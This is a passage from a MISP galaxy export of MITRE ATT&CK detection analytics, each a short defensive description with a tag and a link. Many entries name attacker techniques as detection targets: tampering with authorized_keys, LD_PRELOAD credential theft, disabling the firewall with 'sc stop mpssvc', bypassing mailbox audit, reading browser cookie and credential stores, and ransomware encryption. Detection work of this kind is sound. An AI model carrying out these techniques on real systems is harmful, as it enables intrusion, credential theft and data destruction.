Analytic 0340 - AN0340

Creation or modification of Login Items using AppleScript or Service Management Framework. Detection focuses on file creation/modification of `backgrounditems.btm`, new executables in `Contents/Library/LoginItems/`, use of `SMLoginItemSetEnabled` API, or suspicious processes triggered post-login without user interaction. Behavioral pivot includes anomalous AppleEvents, suspicious parent-child process pairs, and login-triggered execution chains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0340 - AN0340"*

Table 6021. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0121#AN0340

Analytic 0430 - AN0430

Untrusted or unusual process/script (cmd.exe, powershell.exe, w32tm.exe, net.exe, custom binaries) queries system time/timezone (e.g., w32tm /tz, net time \\host, Get-TimeZone, GetTickCount API) and (optionally) is followed within a short window by time-based scheduling or conditional execution (e.g., schtasks /create, at.exe, PowerShell Start-Sleep with large values).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0430 - AN0430"*

Table 6022. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0151#AN0430

Analytic 0043 - AN0043

Detects virtual disk expansion or file copy operations to cloud buckets or mounted volumes from isolated instances.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0043 - AN0043"*

Table 6023. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0014#AN0043

Analytic 0053 - AN0053

A process loads a shared object (.so) via dlopen/LD_PRELOAD/open from non-standard or

temporary locations (e.g., /tmp, /dev/shm), especially shortly after that .so is written or fetched, or linked via manipulated environment variables (LD_PRELOAD/LD_LIBRARY_PATH).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0053 - AN0053"*

Table 6024. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0018#AN0053

Analytic 0530 - AN0530

Compromised service account tokens mounted inside containers and reused for external API calls or lateral movement across services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0530 - AN0530"*

Table 6025. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0185#AN0530

Analytic 0503 - AN0503

Malicious HTML or script is rendered as a Home Page for a specific Outlook folder. Outlook accesses that folder, loads remote content, and executes embedded JavaScript or ActiveX/COM logic resulting in unauthorized actions or local execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0503 - AN0503"*

Table 6026. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0177#AN0503

Analytic 0350 - AN0350

Adversary attempts to gain persistence by modifying ~/.ssh/authorized_keys via shell, text editor, echo or redirected output.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0350 - AN0350"*

Table 6027. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0126#AN0350

Analytic 0305 - AN0305

ESXi daemons (e.g., hostd, vpxa) are wrapped or impersonated to send large outbound traffic using gzip/Base64 encoding over SSH or HTTP. These actions follow suspicious logins or shell access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0305 - AN0305"*

Table 6028. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0108#AN0305

Analytic 0035 - AN0035

Execution of Wine or LibreOffice macros with inconsistent VBA metadata. Defender perspective: file analysis showing p-code embedded without matching source streams.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0035 - AN0035"*

Table 6029. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0012#AN0035

Analytic 0036 - AN0036

Opening of Office files where VBA source code appears benign or missing, but p-code remains active. Defender perspective: process execution of Office apps with macro execution lacking visible source components.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0036 - AN0036"*

Table 6030. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0012#AN0036

Analytic 0306 - AN0306

Monitor for unexpected modifications of plist files in persistence or configuration directories (e.g., ~/Library/LaunchAgents, ~/Library/Preferences, /Library/LaunchDaemons). Detect when modifications are followed by execution of new or unexpected binaries. Track use of utilities such as defaults, plutil, or text editors making changes to Info.plist files. Correlate file modifications with subsequent process launches or service starts that reference the altered plist.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0306 - AN0306"*

Table 6031. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0109#AN0306

Analytic 0630 - AN0630

Detects behavior where files with non-executable or misleading extensions (e.g., .jpg, .txt) are created or modified but subsequently executed as binaries based on internal file headers or abnormal parent process lineage. This includes identifying polyglot files or malformed magic bytes indicative of masquerading attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0630 - AN0630"*

Table 6032. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0226#AN0630

Analytic 0063 - AN0063

Use of launchctl to stop services or kill critical background processes (e.g., securityd, com.apple.*), typically followed by command-line tools like rm or diskutil. Behavioral chain: Terminal or remote shell + launchctl bootout/disable + process termination + follow-on modification.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0063 - AN0063"*

Table 6033. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0021#AN0063

Analytic 0603 - AN0603

Encryption via custom or open-source tools (e.g., openssl, gpg, aescrypt) recursively targeting user or system directories. Also includes overwrite of existing data and ransom note drops.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0603 - AN0603"*

Table 6034. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0215#AN0603

Analytic 0360 - AN0360

Suspicious use of scripting parameters or registry edits to hide process windows (e.g., powershell.exe -WindowStyle Hidden, or registry modifications pushing window positions off screen). Defender view: correlation of hidden execution with anomalous process lineage or hVNC-

like CreateDesktop API calls.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0360 - AN0360"*

Table 6035. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0128#AN0360

Analytic 0703 - AN0703

Detect alterations of transmitted data via monitoring syscalls (`send`, `recv`, `write`) or middleware interception. Identify mismatched file hashes when compared at origin vs. destination. Watch for anomalous activity from processes interacting with secure transmission services (e.g., OpenSSL, scp).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0703 - AN0703"*

Table 6036. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0254#AN0703

Analytic 0370 - AN0370

Detects access to cloud APIs or CLI tools to move or sync files from sensitive buckets to external endpoints using protocols like HTTPS or S3 APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0370 - AN0370"*

Table 6037. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0131#AN0370

Analytic 0037 - AN0037

Access to browser artifact locations (e.g., Chrome, Edge, Firefox) by processes like PowerShell, cmd.exe, or unknown tools, followed by file reads, decoding, or export operations indicating enumeration of bookmarks, autofill, or history databases.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0037 - AN0037"*

Table 6038. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0013#AN0037

Analytic 0307 - AN0307

Correlation of chmod operations setting setuid/setgid bits followed by privileged process execution (EUID != UID), especially from user-writable or abnormal paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0307 - AN0307"*

Table 6039. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0110#AN0307

Analytic 0730 - AN0730

Use unified logs to detect unusual DNS responses correlated with subsequent connections to calculated or non-standard ports. Monitor non-browser apps making repeated outbound connections that deviate from expected patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0730 - AN0730"*

Table 6040. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0262#AN0730

Analytic 0073 - AN0073

Abuse of macOS Electron apps by modifying app.asar bundles and spawning child processes (osascript, curl, sh) from Electron executables.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0073 - AN0073"*

Table 6041. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0025#AN0073

Analytic 0308 - AN0308

Observation of chmod commands setting setuid/setgid bits, paired with launch of binaries under elevated execution context (e.g., root-owned binaries launched by unprivileged users).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0308 - AN0308"*

Table 6042. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0110#AN0308

Analytic 0083 - AN0083

Containerized apps or sidecar containers generating excessive outbound traffic or being leveraged for proxy networks. Includes sudden increases in network interface stats, especially in dormant or low-util apps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0083 - AN0083"*

Table 6043. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0028#AN0083

Analytic 0038 - AN0038

Unauthorized shell or script-based access to browser config or SQLite history files, typically in ~/.config/google-chrome/, ~/.mozilla/, or ~/.var/app folders, indicating enumeration of bookmarks or saved credentials.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0038 - AN0038"*

Table 6044. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0013#AN0038

Analytic 0380 - AN0380

Detects non-interactive or script-driven email transmission using tools like `sendmail`, `mailx`, or custom SMTP scripts by background processes, especially when sending attachments or large payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0380 - AN0380"*

Table 6045. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0135#AN0380

Analytic 0830 - AN0830

Execution of destructive CLI commands such as format flash:, format disk, or equivalent vendor-specific commands that erase filesystem structures. Detection correlates AAA logs showing privileged access with immediate format/erase commands.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0830 - AN0830"*

Table 6046. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0297#AN0830

Analytic 0803 - AN0803

Disabling mailbox or tenant-level audit logging, often using Set-MailboxAuditBypassAssociation or downgrading license tiers. Defender view: sudden absence of mailbox activity logging for monitored users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0803 - AN0803"*

Table 6047. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0289#AN0803

Analytic 0039 - AN0039

Scripting or CLI tool access to ~/Library/Application Support/Google/Chrome or ~/Library/Safari bookmarks, cookies, or history databases. Detection relies on unexpected processes accessing or reading from these locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0039 - AN0039"*

Table 6048. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0013#AN0039

Analytic 0309 - AN0309

Detection correlates message events in email and collaboration tools (e.g., Outlook, Teams) that contain regex-like patterns resembling credentials, API keys, or tokens. Anomalous forwarding or bulk copy activity of chat/email content containing secrets is flagged. Suspicious behavior includes users pasting secrets into direct messages or attaching config files with passwords.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0309 - AN0309"*

Table 6049. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0111#AN0309

Analytic 0093 - AN0093

Use of chflags hidden or SetFile -a V commands to hide files, or creation of hidden files with leading '.'. Defender view: monitoring process execution and file metadata changes setting UF_HIDDEN

attribute.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0093 - AN0093"*

Table 6050. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0032#AN0093

Analytic 0390 - AN0390

Detects credential interception via malicious LD_PRELOAD-based shared libraries loaded into ssh, sudo, or scp processes. Correlates environment variable injection, unexpected library loads, and memory patching behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0390 - AN0390"*

Table 6051. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0139#AN0390

Analytic 0903 - AN0903

Detects usage of commands or binaries (e.g., netstat, PowerShell Get-NetTCPConnection) and WMI or API calls to enumerate local or remote network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0903 - AN0903"*

Table 6052. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320#AN0903

Analytic 0930 - AN0930

ESXi shell or scripts produce long, high-entropy tokens (non-standard alphabets) in shell.log/hostd, followed by outbound flows (NSX/Zeek) with asymmetric ratios or protocol mismatches to non-management endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0930 - AN0930"*

Table 6053. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0326#AN0930

Analytic 0440 - AN0440

Suspicious SaaS tenant activity involving webhook configurations pointing to external or untrusted domains. Defender perspective: repeated automated exports or suspicious webhook endpoint registrations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0440 - AN0440"*

Table 6054. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0153#AN0440

Analytic 0404 - AN0404

Flows showing encrypted payloads with high entropy not matching TLS handshake patterns, particularly when occurring on non-standard ports. Defender observes NetFlow/IPFIX byte distribution anomalies or IDS/IPS detecting symmetric encryption patterns without associated key exchange.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0404 - AN0404"*

Table 6055. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0143#AN0404

Analytic 0044 - AN0044

Detects snapshots or data stored in VMFS volumes from root CLI or remote agents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0044 - AN0044"*

Table 6056. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0014#AN0044

Analytic 0045 - AN0045

Detects unusual command executions and service modifications that indicate self-patching or disabling of vulnerable services post-compromise. Defenders should monitor for service stop commands, suspicious process termination, and execution of binaries or scripts aligned with known patching or service management tools outside of expected admin contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0045 - AN0045"*

Table 6057. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0015#AN0045

Analytic 0540 - AN0540

Detection of known tools or malware flagged by antivirus, followed by a near-term drop of a similar binary with modified signature and resumed activity (execution, C2, or persistence).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0540 - AN0540"*

Table 6058. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0189#AN0540

Analytic 0054 - AN0054

A process loads a non-system .dylib/.so via dyld (dlopen/dlsym) from user-writable locations (~/Library, /tmp) or after the library was recently created/downloaded, often followed by network egress or persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0054 - AN0054"*

Table 6059. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0018#AN0054

Analytic 0504 - AN0504

Detection of VNC service or executable starting unexpectedly, followed by user session creation and interactive desktop activity (mouse/keyboard simulation).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0504 - AN0504"*

Table 6060. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0178#AN0504

Analytic 0450 - AN0450

Detect abnormal MFA activity within cloud service provider logs, such as repeated generation of MFA challenges for the same user session or mismatched MFA device and login origin.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0450 - AN0450"*

Table 6061. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160#AN0450

Analytic 0405 - AN0405

Detects forged Kerberos Golden Tickets by correlating anomalous Kerberos ticket lifetimes, unexpected encryption types (e.g., RC4 in modern domains), malformed fields in logon/logoff events, and TGS requests without preceding TGT requests. Also monitors for abnormal patterns of access associated with elevated privileges across multiple systems.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0405 - AN0405"*

Table 6062. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0144#AN0405

Analytic 0046 - AN0046

Detects adversary attempts to monopolize control of compromised systems by issuing service stop commands, unloading vulnerable modules, or forcefully killing competing processes. Defenders should monitor audit logs and syslog for administrative utilities (systemctl, service, kill) being invoked outside of normal change management.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0046 - AN0046"*

Table 6063. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0015#AN0046

Analytic 0604 - AN0604

Userland or kernel-level ransomware encrypting user files (Documents, Desktop) using `srm`, `gpg`, or compiled payloads. Often correlated with ransom note creation in multiple directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0604 - AN0604"*

Table 6064. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0215#AN0604

Analytic 0064 - AN0064

Attacker disables VM-related services or stops VMs forcibly to target vmdk or logs. Behavioral chain: esxcli or vim-cmd stop + audit log showing user privilege use + datastore file manipulation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0064 - AN0064"*

Table 6065. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0021#AN0064

Analytic 0460 - AN0460

Chain: (1) SaaS admin API or PowerShell remote session reads tenant password/authentication settings (e.g., M365 Unified Audit Log 'Cmdlet' with `Get-MsolPasswordPolicy`/`Get-OrganizationConfig` parameters that expose password settings); (2) same session proceeds to mailbox or tenant changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0460 - AN0460"*

Table 6066. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0460

Analytic 0406 - AN0406

Detection of firewall tampering by monitoring processes executing netsh, PowerShell Set-NetFirewallProfile, or sc stop mpssvc. Registry modifications under HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy also indicate adversarial actions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0406 - AN0406"*

Table 6067. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0145#AN0406

Analytic 0640 - AN0640

CLI-based or API-based network call from the hypervisor to external staging host, shortly followed by a connection to a second external IP by a spawned process or scheduled task.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0640 - AN0640"*

Table 6068. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0228#AN0640

Analytic 0407 - AN0407

Detection of iptables, nftables, or firewalld rule modifications. Correlation of sudden drops in active firewall rules with suspicious processes suggests adversarial evasion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0407 - AN0407"*

Table 6069. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0145#AN0407

Analytic 0470 - AN0470

Detects modification or truncation of `/var/log/shell.log` used to persist ESXi shell command history. Especially suspicious shortly after login or config changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0470 - AN0470"*

Table 6070. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0165#AN0470

Analytic 0704 - AN0704

Monitor system APIs such as CFNetwork and SecureTransport for anomalies in transmitted data streams. Detect mismatches in file hashes or SSL/TLS downgrade attempts that enable manipulation of transmitted data.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0704 - AN0704"*

Table 6071. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0254#AN0704

Analytic 0740 - AN0740

Detects Exchange Online or on-prem transport rule changes (e.g., header stripping) and mailbox export cleanup via `Remove-MailboxExportRequest`, as well as admin actions via Exchange PowerShell sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0740 - AN0740"*

Table 6072. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0266#AN0740

Analytic 0047 - AN0047

Detects unauthorized termination of system daemons or commands issued through launchctl or kill to stop competing services or malware processes. Defenders should monitor unified logs and EDR telemetry for unusual service modifications or terminations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0047 - AN0047"*

Table 6073. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0015#AN0047

Analytic 0074 - AN0074

Correlated registry modifications under Print Processors path, followed by DLL file creation within the system print processor directory, and DLL load by spoolsv.exe. Malicious execution often occurs during service restart or system boot, with SYSTEM-level privileges.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0074 - AN0074"*

Table 6074. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0026#AN0074

Analytic 0408 - AN0408

Detection of PF firewall rule modifications via pfctl, socketfilterfw, or defaults write to com.apple.alf. Adversaries often disable firewall profiles entirely or whitelist malicious processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0408 - AN0408"*

Table 6075. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0145#AN0408

Analytic 0480 - AN0480

Bash, Swift, or Objective-C programs enumerate system profile, I/O registry, or inspect kernel extensions to identify VM artifacts

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0480 - AN0480"*

Table 6076. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0168#AN0480

Analytic 0804 - AN0804

Disabling or altering security and audit logs in SaaS admin panels (e.g., Slack, Zoom, Salesforce). Defender view: API calls or admin console changes that stop event exports or logging integrations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0804 - AN0804"*

Table 6077. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0289#AN0804

Analytic 0084 - AN0084

Virtual instances or workloads generating sustained outbound data rates, often to TOR, VPN, or proxy endpoints. Often coincides with unusual IAM usage or deployed scripts (e.g., cron jobs using proxy clients).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0084 - AN0084"*

Table 6078. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0028#AN0084

Analytic 0048 - AN0048

Adversary executes commands to enumerate installed antivirus, EDR, or firewall agents using WMI, registry queries, and built-in tools (e.g., tasklist, netsh, sc query). Correlated with elevated process privileges or scripting engine usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0048 - AN0048"*

Table 6079. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0016#AN0048

Analytic 0840 - AN0840

Suspicious calls to dlopen(), dlsym(), or mmap with RWX flags in processes that do not typically perform dynamic module loading. Monitor anonymous memory regions executed by user processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0840 - AN0840"*

Table 6080. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0300#AN0840

Analytic 0904 - AN0904

Detects use of netstat, ss, lsof, or custom shell scripts to list current network connections. Often paired with privilege escalation or staging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0904 - AN0904"*

Table 6081. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0320#AN0904

Analytic 0409 - AN0409

Detection of firewall changes using esxcli network firewall set or vSphere API modifications. Sudden disabling of firewall rules across management interfaces is a strong adversarial signal.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0409 - AN0409"*

Table 6082. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0145#AN0409

Analytic 0049 - AN0049

Adversary runs discovery commands such as `ps aux`, `systemctl status`, or `cat /etc/init.d/` to enumerate security software or services. Often occurs alongside privilege escalation or bash script execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0049 - AN0049"*

Table 6083. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0016#AN0049

Analytic 0094 - AN0094

Defenders can observe suspicious replacement or tampering of system accessibility binaries (e.g., utilman.exe, sethc.exe, osk.exe) and anomalous modifications to registry keys used to redirect

accessibility programs (such as IFEO keys). Additionally, execution of cmd.exe or other suspicious binaries triggered from the login screen by SYSTEM can be correlated as part of a behavior chain.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0094 - AN0094"*

Table 6084. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0033#AN0094

Analytic 0940 - AN0940

Detection of msiexec.exe running installer packages that result in anomalous process creation. Look for unexpected binaries executed by msiexec or custom action DLLs in the temp directory.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0940 - AN0940"*

Table 6085. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0330#AN0940

Analytic 0490 - AN0490

Excessive inbound HTTP or TLS connections to services such as Apache or Nginx, causing worker thread exhaustion or segmentation faults.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0490 - AN0490"*

Table 6086. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0173#AN0490

Analytic 0505 - AN0505

Spawning of VNC-related processes (e.g., `x11vnc`, `vncserver`) coupled with authentication logs and port listening behavior on TCP 5900.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0505 - AN0505"*

Table 6087. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0178#AN0505

Analytic 0550 - AN0550

Abuse of ClickOnce applications where rundll32.exe invokes dfshim.dll with ShOpenVerbApplication or dfsvc.exe spawns unexpected child processes or loads unsigned modules.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0550 - AN0550"*

Table 6088. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0191#AN0550

Analytic 0055 - AN0055

Executable or script payloads lacking symbol information and readable strings that are created or dropped by unusual or short-lived processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0055 - AN0055"*

Table 6089. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0019#AN0055

Analytic 0605 - AN0605

Ransomware encrypts .vmdk, .vmx, .log, or VM config files in VMFS datastores. May rename to .locked or delete/overwrite with encrypted versions. Often correlates with shell commands run through `dcui`, SSH, or vSphere.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0605 - AN0605"*

Table 6090. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0215#AN0605

Analytic 0650 - AN0650

Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0650 - AN0650"*

Table 6091. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0234#AN0650

Analytic 0056 - AN0056

Executable or binary files created without symbol tables or with stripped sections, especially by non-user shell processes or compilers invoked outside standard dev paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0056 - AN0056"*

Table 6092. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0019#AN0056

Analytic 0560 - AN0560

Execution of `ifconfig`, `ip a`, or access to `/proc/net/` indicating collection of local interface and route configuration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0560 - AN0560"*

Table 6093. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0195#AN0560

Analytic 0506 - AN0506

Detection of VNC-based remote control via `screensharingd` activity in Unified Logs along with concurrent remote login activity or suspicious user interaction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0506 - AN0506"*

Table 6094. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0178#AN0506

Analytic 0065 - AN0065

Adversary stages a lure that references a remote resource (e.g., LNK/SCF/Office template). When the user opens/renders the file or a shell enumerates icons, the host automatically attempts SMB or WebDAV authentication to the attacker host. The chain is: (1) lure file is created or modified in a user-exposed location → (2) user or system accesses the lure → (3) host makes outbound NTLM (SMB 139/445 or WebDAV over 80/443) to an untrusted destination → (4) repeated attempts from multiple users/hosts or from privileged workstations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0065 - AN0065"*

Table 6095. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0022#AN0065

Analytic 0075 - AN0075

Detects unexpected or high-volume HTTP/S/WebSocket communication from suspicious processes (e.g., PowerShell, rundll32) using uncommon user agents or mimicking browser traffic to unusual domains or IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0075 - AN0075"*

Table 6096. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0027#AN0075

Analytic 0705 - AN0705

Monitor for use of native utilities such as wevtutil.exe or PowerShell cmdlets (Get-WinEvent, Get-EventLog) to enumerate or export logs. Unusual access to security or system event channels, especially by non-administrative users or processes, should be correlated with subsequent file export or network transfer activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0705 - AN0705"*

Table 6097. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0255#AN0705

Analytic 0057 - AN0057

Creation of run-only AppleScripts or Mach-O binaries lacking symbol table and string references, especially when dropped by user space scripting engines or staging apps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0057 - AN0057"*

Table 6098. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0019#AN0057

Analytic 0750 - AN0750

Logon via RDP or WMI by a user account followed by uncommon command execution, file manipulation, or lateral network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0750 - AN0750"*

Table 6099. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0269#AN0750

Analytic 0507 - AN0507

Detection of adversary enumeration of domain or local group memberships via native tools such as net.exe, PowerShell, or WMI. This activity may precede lateral movement or privilege escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0507 - AN0507"*

Table 6100. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0179#AN0507

Analytic 0570 - AN0570

A non-whitelisted process receives TCC camera entitlement (kTCCServiceCamera), opens AppleCamera/AVFoundation device handles, writes .mov/.mp4 artifacts to unusual locations, and/or beacons/exfiltrates soon after.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0570 - AN0570"*

Table 6101. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0197#AN0570

Analytic 0805 - AN0805

Detects creation or modification of crontab entries by non-root users or from abnormal parent processes, followed by the execution of uncommon binaries at scheduled intervals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0805 - AN0805"*

Table 6102. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0290#AN0805

Analytic 0085 - AN0085

Adversary uses a tool like Ruler to insert a malicious custom form into the user's Outlook mailbox. The form is designed to auto-execute on Outlook startup or on receipt of a specially crafted email.

This results in child processes launched from outlook.exe and possibly network connections or payload loading.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0085 - AN0085"*

Table 6103. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0029#AN0085

Analytic 0508 - AN0508

Detection of group enumeration using commands like 'id', 'groups', or 'getent group', often followed by privilege escalation or SSH lateral movement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0508 - AN0508"*

Table 6104. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0179#AN0508

Analytic 0580 - AN0580

Detects suspicious registry modifications under `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\*\Driver`, DLL loads by `spoolsv.exe` of non-standard or unsigned modules, and abnormal usage of the `AddMonitor` API by non-installation processes. This pattern often indicates an attempt to persist a malicious DLL via the print monitor mechanism, particularly when correlated with creation of files in `C:\Windows\System32` not tied to known patches or installations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0580 - AN0580"*

Table 6105. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0204#AN0580

Analytic 0850 - AN0850

Exploitation of system or application vulnerability (e.g., CVE-based exploit) followed by service crash, restart, or repeated failure within a short time frame, impacting application/system availability.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0850 - AN0850"*

Table 6106. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0304#AN0850

Analytic 0058 - AN0058

